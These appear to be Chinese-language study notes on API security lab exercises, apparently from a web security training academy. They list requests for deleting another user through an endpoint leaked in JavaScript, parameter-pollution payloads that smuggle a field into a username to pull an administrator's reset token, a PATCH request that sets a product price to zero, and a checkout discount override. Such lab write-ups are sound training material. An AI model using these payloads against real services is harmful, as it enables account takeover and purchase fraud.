Restful
一 API接口JS中URL泄露
发现:PATCH /api/user/wiener HTTP/2
请求:DELETE /api/user/carlos HTTP/2
二 API接口泄露参数污染
发现泄露 GET /static/js/forgotPassword.js HTTP/2
响应:window.location.href = /forgot-password?reset_token=${resetToken}
;
说明:需要得到 reset_token
POST /forgot-password HTTP/2
请求:csrf=msVcdqgdkFgsnoHX70VQvXb3UK6jXc4W&username=administrator%26x=y
响应:"error": "Parameter is not supported."
说明:可以在后面继续添加参数
POST /forgot-password HTTP/2
请求:csrf=msVcdqgdkFgsnoHX70VQvXb3UK6jXc4W&username=administrator%23
响应:"error": "Field not specified."
说明:可以添加 Field 参数
请求:csrf=msVcdqgdkFgsnoHX70VQvXb3UK6jXc4W&username=administrator%26field=reset_token
请求:GET /forgot-password?reset_token=peirq47jiam09trizccx61cqlbymxrd2
API接口泄露参数污染:
三 API接口利用提交方法
PATCH 是 HTTP 协议中的一种请求方法,用于对资源进行部分修改。与 PUT 方法(通常用于替换整个资源)不同,PATCH 只更新资源的部分内容
发现 GET /api/products/1/price HTTP/2
修改请求方法,响应包中提示只支持 GET 和 PATCH
改为PATCH方法,响应包提示需要 Content-Type: application/json
发送数据包,响应包提示缺少 price 参数
请求内容中添加 "price": 0,价格修改成功
四 API接口利用泄露参数
发现 GET /api/checkout HTTP/2
响应包内容:
{
"chosen_discount":{"percentage":0},
"chosen_products":[{"product_id":"1","name":"Lightweight \"l33t\" Leather Jacket","quantity":1,"item_price":133700}]
}
修改 POST 方法,添加 Content-Type: application/json
响应:"error":"Key order: Key chosen_products: undefined is not an array"
将之前获得的响应放到请求内容中,修改折扣参数,成功
GraphQL API
一 访问私人GraphQL数据
二 访问暴漏GraphQL字段
和RESTful差异
RESTful:请求什么就换一个端点和参数
GraphQL:固定的端点里面的东西改变